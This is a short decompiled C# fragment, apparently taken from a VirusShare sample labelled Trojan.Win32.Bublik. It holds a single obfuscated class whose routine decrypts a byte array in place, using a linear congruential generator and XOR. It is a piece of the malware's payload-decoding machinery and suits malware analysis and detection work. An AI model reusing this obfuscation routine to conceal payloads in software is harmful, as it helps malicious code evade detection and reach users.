// Decompiled with JetBrains decompiler // Type:  // Assembly: server2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A78406EB-6936-436A-BB47-86E06CAA33E0 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3.exe internal static class \u0006 { public static byte[] \u0002(byte[] _param0, byte[] _param1) { byte num1 = _param0[1]; int length = _param1.Length; byte num2 = (byte) (length + 11 ^ (int) num1 + 7); uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); ushort num4 = 0; for (int index = 0; index < length; ++index) { if ((index & 1) == 0) { num3 = (uint) ((int) num3 * 214013 + 2531011); num4 = (ushort) (num3 >> 16); } byte num5 = (byte) num4; num4 >>= 8; byte num6 = _param1[index]; _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); num2 = num6; } return _param1; } }